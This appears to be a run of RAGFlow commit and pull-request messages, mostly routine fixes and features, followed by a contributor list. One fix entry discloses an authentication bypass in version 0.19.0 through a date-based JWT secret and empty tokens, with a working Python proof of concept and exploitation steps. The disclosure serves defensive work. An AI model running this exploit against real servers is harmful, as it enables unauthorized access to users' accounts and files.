Fix: update broken agent completion due to v0.20.0 changes (#9309)
### What problem does this PR solve?
Update broken agent completion due to v0.20.0 changes. #9199
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
Fix: migrate deprecated Langfuse API from v2 to v3 (#9204)
### What problem does this PR solve?
Fix:
```bash
'Langfuse' object has no attribute 'trace'
```
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
```bash
Traceback (most recent call last):
File "/home/infiniflow/workspace/ragflow/api/db/services/document_service.py", line 635, in update_progress
info["progress_msg"] = "%d tasks are ahead in the queue..."%get_queue_length(priority)
File "/home/infiniflow/workspace/ragflow/api/db/services/document_service.py", line 686, in get_queue_length
return int(group_info.get("lag", 0))
TypeError: int() argument must be a string, a bytes-like object or a real number, not 'NoneType'
```
This issue can happen very rare. When a `stream` is first created, the
`lag` value may be nil, which can cause this issue. However, once any
message is synced, the `lag` will become `0` afterwards.
```bash
> XINFO GROUPS rag_flow_svr_queue
1) 1) "name"
2) "rag_flow_svr_task_broker"
3) "consumers"
4) (integer) 0
5) "pending"
6) (integer) 0
7) "last-delivered-id"
8) "1753952489937-0"
9) "entries-read"
10) (nil)
11) "lag"
12) (nil)
```
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
- Add Generator return type annotation for tts method
- Import typing.Generator for type hints
### Type of change
- [x] Refactoring
### What problem does this PR solve?
#9082#6365
<u> **WARNING: it's not compatible with the older version of `Agent`
module, which means that `Agent` from older versions can not work
anymore.**</u>
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Fix:When deleting a knowledge base that is currently performing a parsing task, the parsing queue will not be deleted! (#9018)
### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/8995
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
---------
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
Fix the case where pages variable might be None
### What problem does this PR solve?
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
Issue #8602
`parser_config.task_page_size` can be defaults to `None` when dataset is
created by API. This was not handled by the `task_executor.py` code thus
`page_size` could sometimes be `None` which will cause issue in line
351.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
Fix chunk number error after re-parsing. #8503.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
Fix: some cases Task return but not set progress (#8469)
### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/8466
I go through the codes, current logic:
When do_handle_task raises an exception, handle_task will set the
progress, but for some cases do_handle_task internal will just return
but not set the right progress, at this cases the redis stream will been
acked but the task is running.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
---------
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
### What problem does this PR solve?
Add MCP server dashboard operations.
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
This is a cherry-pick from #7781 as requested.
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
Refa: Implement centralized file name length limit using FILE_NAME_LEN_LIMIT constant (#8318)
### What problem does this PR solve?
- Replace hardcoded 255-byte file name length checks with
FILE_NAME_LEN_LIMIT constant
- Update error messages to show the actual limit value
- #8290
### Type of change
- [x] Refactoring
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
Fix: avoid mixing different embedding models in document parsing (#8260)
### What problem does this PR solve?
Fix mixing different embedding models in document parsing.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
---------
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
### What problem does this PR solve?
Progress is only updated if it's valid and not regressive.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
Fix: Authentication Bypass via predictable JWT secret and empty token validation (#7998)
### Description
There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.
The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.
### Source - Sink Analysis
**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token
**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token
### Proof of Concept
```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys
def exploit_ragflow(target):
# Generate token with predictable key
daily_key = str(date.today())
serializer = URLSafeTimedSerializer(secret_key=daily_key)
malicious_token = serializer.dumps("")
print(f"Target: {target}")
print(f"Secret key: {daily_key}")
print(f"Generated token: {malicious_token}\n")
# Test endpoints
endpoints = [
("/v1/user/info", "User profile"),
("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
]
auth_headers = {"Authorization": malicious_token}
for path, description in endpoints:
print(f"Testing {description}...")
response = requests.get(f"{target}{path}", headers=auth_headers)
if response.status_code == 200:
data = response.json()
if data.get("code") == 0:
print(f"SUCCESS {description} accessible")
if "user" in path:
user_data = data.get("data", {})
print(f" Email: {user_data.get('email')}")
print(f" User ID: {user_data.get('id')}")
elif "file" in path:
files = data.get("data", {}).get("files", [])
print(f" Files found: {len(files)}")
else:
print(f"Access denied")
else:
print(f"HTTP {response.status_code}")
print()
if __name__ == "__main__":
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
exploit_ragflow(target_url)
```
**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
**Version:** 0.19.0
@KevinHuSh@asiroliu@cike8899
Co-authored-by: nkoorty <amalyshau2002@gmail.com>
Feat: Allow update conversation parameters and persist to database in completion (#8039)
### What problem does this PR solve?
This PR updates the completion function to allow parameter updates when
a session_id exists. It also ensures changes are saved back to the
database via API4ConversationService.
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Update upload filename length limit from 128 to 256, which is aligned with os (#7971)
### What problem does this PR solve?
Change filename length limit from 128 to 256
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
Signed-off-by: Jin Hai <haijin.chn@gmail.com>
fix: resolve residual image files issue after document deletion (#7964)
### What problem does this PR solve?
When deleting knowledge base documents in RAGFlow, the current process
only removes the block texts in Elasticsearch and the original files in
MinIO, but it leaves behind many binary images and thumbnails generated
during chunking. This pull request improves the deletion process by
querying the block information in Elasticsearch to ensure a more
thorough and complete cleanup.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
Fix: File selection in Retrieval testing causes other options to disappear (#7759)
### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/7753
The internal is due to when the selected row keys change will trigger a
testing, but I do not know why.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
Change citation mark as [ID:n], it's easier for LLMs to follow the
instruction :) #7904
### Type of change
- [x] Refactoring
Feat: Surpport dynamically add knowledge basees for retrieval while u… (#7915)
…sing the SDK chat API
### What problem does this PR solve?
When using the SDK for chat, you can include the IDs of additional
knowledge bases you want to use in the request. This way, you don’t need
to repeatedly create new assistants to support various combinations of
knowledge bases. This is especially useful when there are many knowledge
bases with different content. If users clearly know which knowledge base
contains the information they need and select accordingly, the recall
accuracy will be greatly improved.
Users only need to add an extra field, a kb_ids array, in the HTTP
request. The content of this field can be determined by the client
fetching the list of knowledge bases and letting the user select from
it.
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Co-authored-by: Li Ye <liye@unittec.com>
### What problem does this PR solve?
Add more robust fallbacks for citations
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
- [x] New Feature (non-breaking change which adds functionality)
Refa: more fallbacks for bad citation format (#7710)
### What problem does this PR solve?
More fallbacks for bad citation format
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
- [x] Refactoring
Feat: repair corrupted PDF files on upload automatically (#7693)
### What problem does this PR solve?
Try the best to repair corrupted PDF files on upload automatically.
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Feat: Support tool calling in Generate component (#7572)
### What problem does this PR solve?
Hello, our use case requires LLM agent to invoke some tools, so I made a
simple implementation here.
This PR does two things:
1. A simple plugin mechanism based on `pluginlib`:
This mechanism lives in the `plugin` directory. It will only load
plugins from `plugin/embedded_plugins` for now.
A sample plugin `bad_calculator.py` is placed in
`plugin/embedded_plugins/llm_tools`, it accepts two numbers `a` and `b`,
then give a wrong result `a + b + 100`.
In the future, it can load plugins from external location with little
code change.
Plugins are divided into different types. The only plugin type supported
in this PR is `llm_tools`, which must implement the `LLMToolPlugin`
class in the `plugin/llm_tool_plugin.py`.
More plugin types can be added in the future.
2. A tool selector in the `Generate` component:
Added a tool selector to select one or more tools for LLM:
And with the `bad_calculator` tool, it results this with the `qwen-max`
model:
### Type of change
- [ ] Bug Fix (non-breaking change which fixes an issue)
- [x] New Feature (non-breaking change which adds functionality)
- [ ] Documentation Update
- [ ] Refactoring
- [ ] Performance Improvement
- [ ] Other (please describe):
Co-authored-by: Yingfeng <yingfeng.zhang@gmail.com>
so95
Yongteng Lei
Kevin Hu
Liu An
Stephen Hu
Can Wang
Fee He
Song Fuchang
Jin Hai
Gecko Security
天海蒼灆
Qidi Cao
sinopec